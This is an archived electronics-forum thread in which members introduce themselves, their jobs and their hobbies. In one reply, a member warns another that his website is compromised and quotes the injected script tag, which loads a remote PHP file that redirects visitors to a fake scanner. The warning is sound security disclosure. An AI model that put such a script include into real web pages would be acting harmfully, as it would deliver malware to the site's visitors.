I'm not really involved in electronics as a profession, more of a hobby that I'm just getting into...i do a lot of general fabrication on my spare time (welding, forming, repairing, destroying...lol)....i can never have to many tools.... ;D

As for what i do on my non-spare time, i am a full time university student and i moonlight as a computer repair technician for some spending money,

I'm in my last year of Human Biology, and hopefully (and i stress hopefully) ill be in Dental school this coming fall!!


Im working on a current project to build my own power supply from a rather beefy transformer from an old stereo and some rectifiers from a bunch of computer PSU's

thats about it for now!

Title: Re: New Member, Please introduce yourself
Post by: Ed.Kloonk on April 05, 2010, 07:49:37 am
Long time admirer of Dave's wares....

I first visited the blog a year ago. A search brought me back and I just love what you've done with the place.  :P

ed.

Title: Re: New Member, Please introduce yourself
Post by: MikeNye on April 05, 2010, 02:26:42 pm
Hi everyone,

I'm Mike. I live in Perth, Western Australia. I currently work in the IT industry implementing data storage arrays for oil & gas companies. I have had a long-time love of electronics ever since Dad let me take old radios apart as a young lad...

I came across Dave's video blog on the Rigol scopes while looking for a good & economical scope. I watched a few episodes and I was hooked! I like it! Thumbs up!  :)

I have an Arduino that I like to muck around with on occasion. I've built a little MIDI interface to control my synthesiser so far... I am trying to learn about Electronic Engineering in my spare time.

Cheers & keep up the good work Dave!
Title: Re: New Member, Please introduce yourself
Post by: Kiriakos-GR on April 05, 2010, 04:23:13 pm
Hi

Kiriakos  from Volos Greece ,  industrial electrician  ( thats what the paper says )  ;D
plus  20 years repairing  electronics , anything other than televisions ..  ( I hate them )

I had work from time to time , in many local stores ,  representatives of major brands ..

So I can now tell that I had work for  Panasonic  (servicing copiers ) or Zerox as they call them in US , plus fax devices   ..... Ricoh (servicing copiers )  .
My first interest years back was FM transmitters , PLL synthesizers Broadband amps and antennas..
later on worked with CB radios , and lastly with VHF repairs in boats.

Unfortunately the life of some one who works with electronics , its not a stable one ...
You have to convert your self ... or better adjust ... at the needs of its period.

I am very proud for my self , I have as we called " a good name "  as technician in my location,
and have at list the respect, of my customers and friends..   


Found the blog , by looking for info about one old analog Metrawatt multimeter,
found the review of the new Metrawatt ...  and I liked a lot the style of the reviewer ...  ;D   

Electronics are boring for the most people , but  our dear reviewer , managed to surprise me pleasantly .

I am Greek , speaking English and German , 41 years old ( this May ) .. with all the hairs in my head ,
and blue eyes  ..  :D     

Thats it,  nice meeting you ..
Title: Re: New Member, Please introduce yourself
Post by: bardygrub on April 05, 2010, 10:31:56 pm
Hi
Michael from Melbourne Australia, I work in the Telecommunications industry as an Electrician/Technician, I specialise in DC Power System, Power Generation (Solar, Diesel Gen Sets & Wind) some rectifiiers I repair are 1000A @ 54V DC and generators up 8MW.
I came accross your vblog while looking for a review of the Fluke 233 - great review-bought one-love it, jut what I needed for battery testing.

Love your work, keep the bastards honest with your no bullshit reveiws.
Title: Re: New Member, Please introduce yourself
Post by: Tinus on April 06, 2010, 06:41:39 am
Hi all,

I'm Tinus and I am a final year undergraduate EE in South Africa (University of Pretoria). 

I'm currently working on my senior thesis project, which is the design and implementation of an autopilot system for a small scale UAV.

Love the blog :)
Title: Re: New Member, Please introduce yourself
Post by: celsung on April 06, 2010, 01:04:02 pm
Hi,

My name is Celso Souza, and I'm from Brazil. I work as a consultant. I hold a MSEE on Communication Systems from USC (California). My specialties are board level and FPGA hardware design and acquisition systems.

Very nice to be a part of this forum.

Best Regards to all.

Celso
Title: Re: New Member, Please introduce yourself
Post by: r on April 06, 2010, 05:23:26 pm
hello im rikki love to play with bit and bobs and i got in to electronic thank to the eevblog while battling leukemian and now given the all clear after battling for 3 1/2 years and now in remission but need check up once a year and now doing level 3 electronic engineering at college
Title: Re: New Member, Please introduce yourself
Post by: funkyharry on April 07, 2010, 06:49:48 pm
Hello, I´m Harald from Austria. Im 39yrs old and im working for a railway company as a telecommunication electronics. My primary job there is to service and maintain the companies own PDH and SDH and DWDM transmission network but I´m doing also any other things related to telecommunications as cable fault location, network troubleshooting and so on.
Since three years I go to an eveningschool of electronics engineering and I hope to complete in two years.
The electronics virus infected me, when I was a child. I disassembled old electronics stuff, unsoldered the parts to get to components (I grew up in a very small town with no electronics store so pulling the components out of old equipment was the only (and cheapest) way to get some working material.)
I have some experience in troubleshooting and building, but less in designing electronic circuits (which is changing at the moment), therefore the eevblog is a must-watch for me.
My other hobbies are (when I have some spare time) reading nearly every book and magazine i can get related to science and technology, Astronomy, Ham Radio (sadly the transceiver collects dust at the moment) and the (permanent) repairing of my old car and my even older house.
The eevblog got my attention, when I googled for the rigol oscilloscope, which i ordered yesterday.

I hope that Daves wife is as tolerant to his hobby as my wife is to mine and that the eevblog keeps going on !

Live long and prosper !
Title: Re: New Member, Please introduce yourself
Post by: Mechatrommer on April 09, 2010, 05:05:03 pm
Hi. I'm Shafri from Malaysia. 33yr old Married w 3 children. Was a Mechanical Eng. Student. Worked as Engineer b4 in a consultant firm. just after a year or so, i quit the job and become a mathematic teacher until now and being happy. Doing photography for part time job, and it was photography that brought me here when i saw a guy using arduino to do high speed photography . And it is also the photography income that support the expenses most of all my electronic stuffs. Have been dreaming of building a robotics system since i quit the eng. job, just after about 5yrs, i found a starting point (arduino), too late i think.

What i've found out in Engineering practice is that engineering carrier is totally different from engineering hobby. In engineering carrier, we are told to do eng stuff whether we like it or not. I found out i'm not that type of person, i know that i'm doing engineering of what i want to do, not other people wants me to do. So here i am. Some might think, that my engineering carrier has been buried, they maybe right, but i will continue to do engineering hobby stuffs, no matter what people says.

My motto: Mechanical + Electronics + Programming = Latest Technology  :)
Title: Re: New Member, Please introduce yourself
Post by: iqqy on April 09, 2010, 06:57:07 pm
Hello, I'm Dan. Originally from the South of England but I've spent the past couple of years in France.

I have a degree in Product Design and having some knowledge of electronics is very useful for design and also to help with making prototypes, but I mainly do it for fun. I'm also exploring the wonderful world of programming.

Dave's rants about product design are hilarious. I honestly think that 90% of design can be transferred between disciplines. Most of it is common sense couple with careful, methodical thinking.
Title: Re: New Member, Please introduce yourself
Post by: hans on April 10, 2010, 07:21:37 pm
Hey, I'm Hans from The Netherlands. Currently a young student at University of Applied Sciences , my second of four years in Bachelor Electronics. My interests go into Programming, Electronics and technology (be that in chemistry, mechinical, maths, or something else that's clever). Currently trying to get into hobby Electronics.

I'm my youth I was always interested in Electronics, but 'got distracted' and primarly  went to do website building/programming instead. In the last few years I lost interest in that, and focussed more on C# programming, with now going more towards embedded solutions (in combination with analog electronics).
Title: Re: New Member, Please introduce yourself
Post by: Janne on April 10, 2010, 09:08:25 pm
Hi,

My name is Janne and I come from Finland. I'm studying automation in polytechic, and also work in the same area of industry. Electronics has been a hobby for me now about 10 years, but i do very little with them professionally. Many of my projects are related to my other hobby - windpower, and more specifially building the turbines and control systems around them.

I think I found this blog accidentally when browsing youtube, and most of the time I have liked it. I guess the biggest thing making this so fun is the style how this is represented, versus the usual (boring?) blogging style of electronics topics.
Title: Re: New Member, Please introduce yourself
Post by: Waifian on April 13, 2010, 01:11:21 pm
Hello,
My name is Nicholas, I live in Milwaukee, Wisconsin. I stumbled on this neat video blog a while back while looking for Pickit 3 reviews. When I saw Dave's awesome video, I have been hooked ever since. I tend to check back several times a week to see if some new exciting video blog as been added.

I started off like most others when I was a bit younger. Taking things apart, most of which were still of some value to my dad who got pretty angry some times.  :P

I continued on to receive an Associates of Applied Science Degree in Electronic and Computer Engineering Technology in 2006, then my Bachelors of Science Degree in Communications and Electronic Engineering Technology in 2008. I attempted a Masters Degree in Engineering shortly after the B.S. Degree and gave up half a quarter through. This was mostly because of being put into the second part of a 2 part Advanced Engineering Mathematics course to start off (my math skills are horrid, which isn't the best thing to say in this field).  I may attempt that again some point in the future.

I have a strong interest in micro controllers and have a bit of personal experience with programming them (pics) in the C language.


 
Title: Re: New Member, Please introduce yourself
Post by: saturation on April 13, 2010, 06:55:46 pm
Hi, my name is Sat and was an electronics minor in college, a long time ago.  I am now a PhD biologist in New York City, NY, USA, but do a lot of electronics at work in keeping measurement systems up to snuf, interfacing to PCs.  I also use a lot of electronics in my technical diving hobby, keeping my gear working and interfacing data collection devices to my PCs.  Diving has few off the shelf devices for all needs, so there is still room for the make it yourself, usually interfacing two devices to work together that were not meant to be.

Title: Re: New Member, Please introduce yourself
Post by: orbiter on April 13, 2010, 11:09:21 pm
I missed this page when I signed up ::)  So it's a late 'hi all' from me :)

orb
Title: Re: New Member, Please introduce yourself
Post by: tecman on April 17, 2010, 12:11:45 am
Paul S. here from eastern PA.  Been a design engineer, up to managing a design team (now).  Most work was in industrial controls.  Current activities are designing a controller for solar tracking for large scale generation.  Been dabbling in electronics as long as I can remember.  Currently hold 2 patents with one pending.

paul
Title: Re: New Member, Please introduce yourself
Post by: 2013 on April 17, 2010, 03:04:39 pm
Hi, I'm Eric from California, USA. I am selling some test equipments right now, hope I can get some advises from here for my business and learn more about electronic stuff.
Title: Re: New Member, Please introduce yourself
Post by: Excavatoree on April 23, 2010, 06:34:57 pm
Hello.

I'm Matthew from Georgia, in the USA.

I work at a construction equipment company that makes excavators, hence the username - excavator EE.

Previous jobs have been with school bus manufacturers, and I've been an electronics technician fixing VCR, Televisions, Telephones, etc.  (that shows how long ago that was - back when people were willing to pay 100 bucks to fix a VCR.)

Right now, my job has changed from true engineering, but as long as they continue to pay me, I'll do what they ask.

I collect Fluke meters, (I have about 150 or so of the things) still try to repair what I can (I've kept my ancient 1987, CRT TV operating for over 15 years since I saved it from the trash bin at the electronic shop) and try to work on my cars.

I've dabbled in computers, tube oscilloscopes, and I've got parts to build a tube amp that I need to get started on.

Title: Re: New Member, Please introduce yourself
Post by: birlan97 on April 23, 2010, 08:57:16 pm
Hello, I'm from Romania. Electronics is my hobby, trying to learn and experiment pic's scheme
Title: Re: New Member, Please introduce yourself
Post by: ParKel on April 25, 2010, 07:00:09 am
Hello everyone my name is Kelvin. I'm from Nevada, USA.

I have a degree in Computer Engineering. As of this post I'm an independent Engineer working on personal projects.

Primary hobbies include working with anything electronic duh! (Software development, digital design, embedded devices, analog design)

Other hobbies out of the typical engineering stuff includes Photography and Power Sports (Racing sport bikes/crotch rockets/death rockets in a controlled environment of a race circuit).
Title: Re: New Member, Please introduce yourself
Post by: ElectroChemicAlvin on April 26, 2010, 04:41:01 pm
Hi There!

I'm Alvin, from Sri Lanka, an enthusiast on electronics! currently working in the manufacturing industry.

chow!
Title: Re: New Member, Please introduce yourself
Post by: chscholz on April 30, 2010, 03:19:18 pm
Hello everybody,

I just run into this website and want to take the opportunity to introduce myself.
My name is Chris Scholz, I work as Field Applications Engineer for a large US-based manufacturer of oscilloscopes and protocol analyzers.
Glad to be here , please don't hesitate to contact me for any questions related to electronic time-domain test and measurement issues.

Chris
Title: Re: New Member, Please introduce yourself
Post by: markg on May 03, 2010, 04:14:15 am
Been lurking for a little bit and thought I'd drop a post in here.

Hi I'm Mark from Maryland, USA.

I'm working in the network field now (data center networks), so not much direct exposure to the electronics design world now days.

Title: Re: New Member, Please introduce yourself
Post by: dealexcel on May 05, 2010, 11:33:03 am
I am electronics wholesaler from China, welcome you guys to my website to look for something useful :)

the address is in my signature
Title: Re: New Member, Please introduce yourself
Post by: Grapsus on May 06, 2010, 06:26:53 pm
Hi!

I'm Alexis, from France, 20 years old. I'm mostly a software guy and I study maths and physics and will start comuter science only next year (we have a complicated/bad school system here...). At the same time, I work as a freelance and write software (mostly web and Linux scripts). I also enjoy electronics, especially micro-controllers (the ones you can program in C :p), that's why I like EEvblog so much.
Title: Re: New Member, Please introduce yourself
Post by: cqmiao on May 08, 2010, 05:56:28 am
Hello,I'm from CHINA (P.R.C).  Electronics is my hobby~
Title: Re: New Member, Please introduce yourself
Post by: rodneykeeling on May 09, 2010, 10:38:14 pm
Hello!

My name is Rodney, and I am an Electrical/Computer Engineering student at OSU, which is in Oregon, USA. I am a sophomore at my school, and so far I'm most interested in microcontrollers, processor architecture, and programming in general.
Title: Re: New Member, Please introduce yourself
Post by: armandas on May 10, 2010, 12:12:19 am
Hello!

My name is Rodney, and I am an Electrical/Computer Engineering student at OSU, which is in Oregon, USA. I am a sophomore at my school, and so far I'm most interested in microcontrollers, processor architecture, and programming in general. I have a website that anyone can visit, it's:

http://www.rodneykeeling.com

Rodney, your website is spreading malware! At the bottom of the page source, there is a line that includes a malicious javascript file.
Code: [Select]
<script src="http://***.com/ls.php"></script>
The included code then redirects your visitor to a different website which pretends to scan user's computer. For the sake of your website's credibility and everyone's safety, remove the malicious code as soon as possible and make sure you update any software (such as Wordpress, plugins) regularly.
Title: Re: New Member, Please introduce yourself
Post by: rodneykeeling on May 10, 2010, 01:17:30 am
Well, that's embarrassing.  :-\

I'll remove the link. Sorry!
Title: Re: New Member, Please introduce yourself
Post by: VladKEasternTiger on May 10, 2010, 03:22:07 pm
Hi

Kiriakos  from Volos Greece ,  industrial electrician  ( thats what the paper says )  ;D
plus  20 years repairing  electronics , anything other than televisions ..  ( I hate them )

I had work from time to time , in many local stores ,  representatives of major brands ..

So I can now tell that I had work for  Panasonic  (servicing copiers ) or Zerox as they call them in US , plus fax devices   ..... Ricoh (servicing copiers )  .
My first interest years back was FM transmitters , PLL synthesizers Broadband amps and antennas..
later on worked with CB radios , and lastly with VHF repairs in boats.

Unfortunately the life of some one who works with electronics , its not a stable one ...
You have to convert your self ... or better adjust ... at the needs of its period.

I am very proud for my self , I have as we called " a good name "  as technician in my location,
and have at list the respect, of my customers and friends..   


Found the blog , by looking for info about one old analog Metrawatt multimeter,
found the review of the new Metrawatt ...  and I liked a lot the style of the reviewer ...  ;D   

Electronics are boring for the most people , but  our dear reviewer , managed to surprise me pleasantly .

I am Greek , speaking English and German , 41 years old ( this May ) .. with all the hairs in my head ,
and blue eyes  ..  :D     

Thats it,  nice meeting you ..



Nice comment, why dont you like working on Televisions? So you are a Technician if im not mistaken? ???
Title: Re: New Member, Please introduce yourself
Post by: rodneykeeling on May 10, 2010, 05:26:58 pm
rodneykeeling, i checked you website... its quite nice... i was as enthusiastic as you when i was younger :) but now, since i have a family, a carieer, a hobby, then all those things were long gone. :) nowadays, i try more on getting practical things into reality, for the good of human kind, and i really hate virus makers, spammers etc. i hope you are not one of them ;)

googling the latest exploits, reverse engineering, cracking and patching softwares was a fun thing to do, but now, the "time" really envy me. I dont think i'm going to have enough of it before i come out with something that civilization can appreciate :)



No I'm not. I hate them myself, as I just had to reinstall the CMS onto my server due to one.  :o

Anyway, thanks for the kind words! :]
Title: Re: New Member, Please introduce yourself
Post by: redek on May 12, 2010, 08:15:38 am
Hi, my name is Derek.  I'm currently an EE student, and live in Bountiful, Utah (which is a suburb of Salt Lake City).  I have an interest in DIY amps and other electronic projects.  I work at a company that manufactures chiropractic test equipment.  I do assembly work on most of the products that we sell, which also includes building load cells.  I have become quite proficient at soldering and really enjoy it.

Derek
Title: Re: New Member, Please introduce yourself
Post by: BartManInNZ on May 12, 2010, 09:17:27 pm
Hi, I am Bart - currently residing in New Zealand. Working as a Systems/Networking Engineer but all round electronics/computers geek and wannabe filmmaker...

Bart
Title: Re: New Member, Please introduce yourself
Post by: thedigitalprincess on May 13, 2010, 09:57:44 am
Hey Hey.
I'm Lara (NOT BINGLE!), 21 years old from Sydney, Australia.
I found EEVblog through a programmer friend of mine whom I work with on a few fun electronics projects with (they have been low power zappers as of late).
I have just started an apprenticeship as an electronics technician in avionics (communications stuff, intercoms and entertainment systems) and I'm in my second year of electronics and comms at TAFE (working my way up to an engineering diploma or some sort). We're currently doing digital electronics and amplifiers.
My electronics interest would have to fall back into audio. I worked in manufacturing audio signal distribution boxes (a shitload of soldering) before I started to enjoy the theory behind all the equipment used in pro-audio production. My other interest is analog synthesizers. I want to be able to restore old synths and be able to use them for composition and my music work.
Guess I better go post something! :)
Title: Re: New Member, Please introduce yourself
Post by: arash on May 17, 2010, 02:43:43 pm
Hi there.my name is Arash and I'm 24
I'm an electronic engineer.I found this site from youtub.I planed to buy a pickit 3 and I was searching about a video to explain about it.
And i found exactly what i was looking for.so i came to this blog and watch the microchip response and ... .So i can say this is one of the best blogs about electronic prj and UCs.keep it up and thanks. :)
Title: Re: New Member, Please introduce yourself
Post by: qwerty_face on May 18, 2010, 12:08:33 pm
Hello all,

Wow it's great to see so many smart people. I'm Ben, a Network & Computer Engineering student (BSc) in England, UK. I stumbled over this gem of a site (nice one, Dave!) after wanting to buy a quality DMM; I saw Dave's Vlog about DMM's on YouTube and followed the trail here!

Keep up the good work!  ;)
Title: Re: New Member, Please introduce yourself
Post by: Varal on May 24, 2010, 10:20:05 am
Hi, my name is Paul and I study Electronics at the Gdansk University of Technology in Poland (4 semester). I came across the blog while looking for a PCB design tutorial (Dave you did a great job on that :) ). Although i learned quite a few thing at Uni, I still think of myself as a beginner in the electronics field - I have no experience prior to my studies at the University :( I work hard to get better and know more though ;) 
Title: Re: New Member, Please introduce yourself
Post by: Rhythmtech on May 26, 2010, 11:25:14 pm
My name is Jared I currently reside in St. Louis, Missouri USA .  I am currently a Test Engineer for a large electric motor manufacturer where I spend most of my time updating and maintaining DAQ software/hardware.  I play with electronics both as a hobby and at work (when I get to, which is not often enough).  I love arduinos, logging data, capturing waveforms where the circumstances require isolated probes and hearing protection, and I've thought about trying to make a web enabled shutoff control for my stove, because I have a tendency to forget I left it on.
Title: Re: New Member, Please introduce yourself
Post by: Chris_R on June 01, 2010, 01:05:23 am
Hi guys, I'm Chris and from England.  I'm literally a few weeks away from graduating my MEng in Electronic Engineering and despite many an application been sent off I'm still having trouble finding a job!
So I'm currently in job limbo and going to get myself one of those generic tedious jobs to keep myself alive while I apply for jobs and keep reading up on electronics so I've got lots of knowledge for when I do start working!
Title: Re: New Member, Please introduce yourself
Post by: MrPlacid on June 01, 2010, 06:39:41 am
Hi, I am Mark, a 35 year old electronic hobbiest from the US. I love taking stuff apart and fixing it. My goal this year is to be awaken as an EE. I know this may sound crazy but it happened before when I suddenly became a programmer even without higher education. My family thinks I am hording, since I am buying electronic gears like oscilloscope, function generator, power supply, soldering equipments, wires, metal cabinets, electronic components, etc...  Especially, now that I found my ebay's account again 5 years later, I am on a buying spree (Ebay has gotten alot better!). I can't imagine going to college for EE and not owning your own gears, parts, or having your very own electronic lab. I might never go back to college once I am awaken.

Title: Re: New Member, Please introduce yourself
Post by: yuki on June 01, 2010, 03:54:41 pm
Hi I am yuki , I currently reside in Arizona but am originally from Germany. Currently employed as a data center administrator but have degree in ee and do side jobs regarding it . Great video blogs thats how i found the forums.
Title: Re: New Member, Please introduce yourself
Post by: SegaAges on June 03, 2010, 07:24:46 am
Nick Segalle - From sunny southern California.  Temecula CA to be exact!

I am an avid enjoyer of the blog, and this is my first post.  I know barely any thing about electronics, and actually tuned into this site from www.hackaday.com when Dave blew up multi-meters.  Since then I've bought an Arduino (I know - I know) but I thought I'd start somewhere thanks to Dave's suggestion on his blog about them. 

I am interested in learning A LOT more about electronics, and I am a "geeky IT guy" as Dave puts it...  Being a sys-admin has it's perks however, and if you're not doing what you love for work, then you are truley missing out!!!

Take care!

-Nick
Title: Re: New Member, Please introduce yourself
Post by: tomlut on June 05, 2010, 04:43:21 pm
G'day all I'm Tom, currently at Casey base Antarctica. I wrote more about my job here: https://www.eevblog.com/forum/index.php?topic=630.0
Title: Re: New Member, Please introduce yourself
Post by: ngkee22 on June 06, 2010, 02:22:21 am
Now that I have been on here a few days, I figured I should introduce myself also.  My name is Nick and I graduated with an EE degree about 4 years ago from Texas A&M University in College Station, Texas.  Unfortunately, I haven't worked with analog or digital systems since I graduated.  But I am looking to setup a home lab and get started again before I forget everything I learned.  I work developing vehicle wiring harnesses for heavy duty trucks, not the most exciting work, but pays well.

I'm glad I found this site, lots of great information.
Title: Re: New Member, Please introduce yourself
Post by: Markybhoy on June 06, 2010, 11:16:06 am
Im Mark,  Just a hobbyist from sunny Scotland,  here to pick up some tips :)
Title: Re: New Member, Please introduce yourself
Post by: topari on June 06, 2010, 12:21:10 pm
Located Melbourne Australia. 50 year old computer administrator with degree in IT. Run my own home machine shop with mill, lathe and number of drills, welders and so on. Interest in electronics rekindled after some of my starter capacitors on my single phase motors failed. Electronics has brought a breath of new life into machining with the adaptation  of digital read outs (DRO). I'm thinking about undertaking an advanced diploma in electronics or robotics or similar. Went to a few university open days last year and went away disappointed. Maybe they thought I was too old.
Title: Re: New Member, Please introduce yourself
Post by: Time on June 06, 2010, 08:17:49 pm
My name is Mark.  I have a masters in EE from Texas Tech with a specialty in high voltage, hig power systems (Pulsed Power).  I am currently emplyed by Lockheed Martin in Palmdale, California.
Title: Re: New Member, Please introduce yourself
Post by: slburris on June 07, 2010, 04:09:52 pm
Should have sent this a while ago, but better late than never, I suppose.

I'm Scott, in southern California, US.  By day, I'm a computer guy working
in the entertainment industry.  By night and weekends (!), I'm a hobbyist
with a strong interest in electronics. 

Like many of my age, I'm well versed in digital electronics, but struggle
with the analog stuff.  Thank goodness for opamp cookbooks, online
filter designers, National Simple Switcher chips, and the like which let me
pretend I can do the analog stuff!

Mostly work with Xilinx FPGAs, DDS, PIC and ARM micros.

I'm also a recovering test equipment addict, after discovering several
years ago that I could buy really nice stuff from the 80's and 90's on Ebay....


Scott
Title: Re: New Member, Please introduce yourself
Post by: link on June 09, 2010, 06:51:40 pm
Another hobbyist from Texas. Love tinkering and seeing things smoke. My wife, on the other hand...
Title: Re: New Member, Please introduce yourself
Post by: sawtooth on June 11, 2010, 04:52:10 pm
Hi,

I'm Scott located in Boise, ID USA.  I'm an IT professional and have always been interested in electronics and now I'm considering embarking on a second career.  I'm in the process of setting up a home lab and find the blog and forum very helpful.  TIA to Dave and all of you for your help!

-Scott
Title: Re: New Member, Please introduce yourself
Post by: charliex on June 12, 2010, 01:40:35 am
>I'm also a recovering test equipment addict, after discovering several years ago that I could buy really nice stuff from the 80's and 90's on Ebay....

amen brother  !
Title: Re: New Member, Please introduce yourself
Post by: Zed on June 12, 2010, 03:21:20 pm
I'm a music mad guitarist from the UK and I plan on designing and building custom guitar effects and amps, I started off as a weapon systems engineer in the Royal Navy and since leaving in 1991 I've worked as a textile machinery engineer, fork truck engineer, instrument and control electronic engineer, electronic marine engineer and now I repair and service tools and plant for a hire company.
For the guitar geeks out there my main squeeze is a Roland Ready Fender Strat into a Marshall JMP1 into an EL84 20/20 into 2x12 Celestion loaded cab via 2 Marshall Power Brakes.
Title: Re: New Member, Please introduce yourself
Post by: ThunderSqueak on June 14, 2010, 06:37:38 pm
Hi!  My name is Jessie, I am an IT professional in Anchorage alaska and have been dealing with electronics and computers for the past 17 years. After work I design and build devices for my own use as a hobby (and to keep my edge by always learning).  I came across the forum after seeing the review on the rigol scope and am still considering buying one to replace my aging scope at home.  I really enjoy the blog :) 

I Love Music as well and play guitar, tin whistle, and piano.  I also Love building my own tube guitar amps and effects :) 

The name Dave Jones sounded extremely familiar for some reason, and I finally figured out where.  A long long time ago (10+ years?) I needed a function generator and pulled up a schematic on the net based on a max038 chip.  I still have it and it still works and lives sitting on a shelf above my scope.    :D

and for zed, some porn :)

(http://i120.photobucket.com/albums/o190/kyrrala/Tele/th_DSCF0165.jpg) (http://i120.photobucket.com/albums/o190/kyrrala/Tele/DSCF0165.jpg)

(http://i120.photobucket.com/albums/o190/kyrrala/strat_after_modding/th_SUNP0001.jpg) (http://i120.photobucket.com/albums/o190/kyrrala/strat_after_modding/SUNP0001.jpg)

(http://i120.photobucket.com/albums/o190/kyrrala/LP_Custom/th_DSCF0339.jpg) (http://i120.photobucket.com/albums/o190/kyrrala/LP_Custom/DSCF0339.jpg)

And one of my homebrew amps :)
(http://i120.photobucket.com/albums/o190/kyrrala/Teh_cheezy_amp/th_DSCF0231.jpg) (http://i120.photobucket.com/albums/o190/kyrrala/Teh_cheezy_amp/DSCF0231.jpg)

I have more but that is for a later post   ;)
Title: Re: New Member, Please introduce yourself
Post by: tribat on June 18, 2010, 11:26:12 am
Hey, I'm a 20yo unemployed sorry excuse for a human being. I don't go to school cause they didn't want me there, so I just basically sit at home at the computer doing whatever. I've also been doing some electronics on the side for 8 years. Been watching the vlog since the very first video and now that I had a little electronics problem that I needed help with I decided I'd try looking for help from these forums that I remembered being mentioned in the vlogs several times.
Title: Re: New Member, Please introduce yourself
Post by: Zed on June 23, 2010, 09:48:09 pm
and for zed, some porn :)

(http://i120.photobucket.com/albums/o190/kyrrala/Tele/th_DSCF0165.jpg) (http://i120.photobucket.com/albums/o190/kyrrala/Tele/DSCF0165.jpg)

(http://i120.photobucket.com/albums/o190/kyrrala/strat_after_modding/th_SUNP0001.jpg) (http://i120.photobucket.com/albums/o190/kyrrala/strat_after_modding/SUNP0001.jpg)

(http://i120.photobucket.com/albums/o190/kyrrala/LP_Custom/th_DSCF0339.jpg) (http://i120.photobucket.com/albums/o190/kyrrala/LP_Custom/DSCF0339.jpg)

And one of my homebrew amps :)
(http://i120.photobucket.com/albums/o190/kyrrala/Teh_cheezy_amp/th_DSCF0231.jpg) (http://i120.photobucket.com/albums/o190/kyrrala/Teh_cheezy_amp/DSCF0231.jpg)

I have more but that is for a later post   ;)


Fwhorrrrrrrrrrrrr! Suits you sir.
Very nice pics and some lovely axes there. I have wood now ;) lmao
Title: Re: New Member, Please introduce yourself
Post by: ThunderSqueak on June 24, 2010, 06:25:24 am


Fwhorrrrrrrrrrrrr! Suits you sir.
Very nice pics and some lovely axes there. I have wood now ;) lmao

Ma'am, not sir, but that is ok :>   Figured you would like the pics ;)   
Title: Re: New Member, Please introduce yourself
Post by: Zed on June 24, 2010, 10:20:51 pm


Fwhorrrrrrrrrrrrr! Suits you sir.
Very nice pics and some lovely axes there. I have wood now ;) lmao

Ma'am, not sir, but that is ok :>   Figured you would like the pics ;)   



Fwhorrrrrrrrrrrrr! Suits you sir.
Very nice pics and some lovely axes there. I have wood now ;) lmao

Ma'am, not sir, but that is ok :>   Figured you would like the pics ;)   

I beg my pardon madam ;)
Respect is due as there are not many women who play Strats or Les Pauls and the ones that do are usually the sort of women you wouldn't want to get on the wrong side of. Amy Winehouse / Madonna.
Is the LP an Epiphone as it looks like one from the angle?
Title: Re: New Member, Please introduce yourself
Post by: ThunderSqueak on June 25, 2010, 01:39:16 am
It is an epiphone "Custom shop".  The build quality is very good on it and it plays really well :)  
Title: Re: New Member, Please introduce yourself
Post by: david77 on June 25, 2010, 09:48:48 am
Hi my fellow geeks and nerds  ;)

I'm David from Germany. Electronics has been my hobby since I was about 8 years old, that was in the days before the Internet and  mainstream computing (ca. 1989).
I'm still a hobbyist but I do work in electronic component sales, I have no formal training in electronics though.
I mainly concern myself with audio gear - no audiphoolery, mind!
I know next to nothing about micrcontrollers mainly because I just can't get into coding, that just bores the pants off me. The only programming language I'm fluent in is MS QuickBasic, sadly that's not of much use these days  ;D.
I'd rather slap a few dozen TTL's on a board than suffering through line after line of code.
Oh, and I'm a passionate user of good old Veroboard. Quickest way to a working circuit, only drawback is not beeing able to use SMD parts.

David
Title: Re: New Member, Please introduce yourself
Post by: jh on June 26, 2010, 08:35:03 am
Greetings from Saint Louis, Missouri area.
Stumbled across the vblog while researching digital scopes and loved the vblogs.
Just ordered a Rigol [100mhz] (are they paying David any commissions?)

Background: Ham radio guy, electronic music [also play guitar / bass / piano / brass], machine tools.

Storm spotter [most recent tornado I was in: 30APR2010].
(uh, I did not INTEND to be IN the tornado.... It was at night.  Luckily the thing was dying out by the time it hit me.)
Title: Re: New Member, Please introduce yourself
Post by: swer on June 26, 2010, 04:03:53 pm
Hello you all

I am from Turkey. I have been in the world of electronics for around 8 years including schools.
I was doing a research about mosfets :) and came across EEVblog and love it :D

I'll be around..
take care ..

swer
Title: Re: New Member, Please introduce yourself
Post by: astropos on June 27, 2010, 10:21:30 am
Hi, I'm john. I just graduated from IT. I'm currently gathering info about Electronics Eng because I'm planning to take it as my 2nd course.
Title: Re: New Member, Please introduce yourself
Post by: ddrl46 on June 28, 2010, 10:30:06 am
I'm Dylan, started on electronics about 6 months ago and loving it so far.
Title: Re: New Member, Please introduce yourself
Post by: McPete on June 29, 2010, 11:21:13 pm
Hi Guys,

I'm Peter, from Wollongong, Australia (about an hour south of Sydney). I'm an apprentice instrument fitter/calibration and electronics tech for an electricity company. I've always had an interest in Electronics, but I didn't get serious until the last two years of high school.

My main work tends to be in calibration checking instruments- usually small things like multimeters and high voltage detectors, but we also fault-find and repair these devices, plus some more complex ones, down to component level where possible.

I'm trying to get myself reasonably competent with microcontrollers so I can start applying them to our designs- We're sometimes asked design instruments for other staff in our company, and I'd like to increase the level of sophistication we build into these. I'm also pretty keen to work with SMD components, they're clearly where design is at.

I'm hardly an expert in any of this though, so if I say something strange or downright wrong, please set me straight.
Thanks all, I'm looking forward to learning a lot from you folk!
Peter
Title: Re: New Member, Please introduce yourself
Post by: beerhunter on June 30, 2010, 01:44:23 am
Hi, Beerhunter here. I was in electronics for 18 years until the industry dried up where I live. I now have a totally unrelated job and I do electronics as a hobby. I guess its a great use of my technical education though. I'm now into audio electronics, amps, pre amps and stuff like that.

I just got my Rigol DS1052E(hotrodded of course) and wish I had it 5 years ago. Its really useful for audio work and some may say overkill. I say not.

Hello to all!
Title: Re: New Member, Please introduce yourself
Post by: Beemer on July 01, 2010, 06:46:29 pm
Hello to All,

I was an electrical maintenance technician and in my career worked on everything from steelworks arc furnaces,  rolling mills,  Machine tool CNC,  programmable controllers (PLC),  variable speed a.c. and d.c. drives.

Then 13 years as a sales engineer of industrial sales of PLC and drives.   Then sales of custom designed a.c./d.c. and d.c./d.c. power supplies for pc, mini and super-computers and Telecom 3G base-stations.

Now retired I thought I would lurk around this forum to see what interesting things folk are getting up to :)

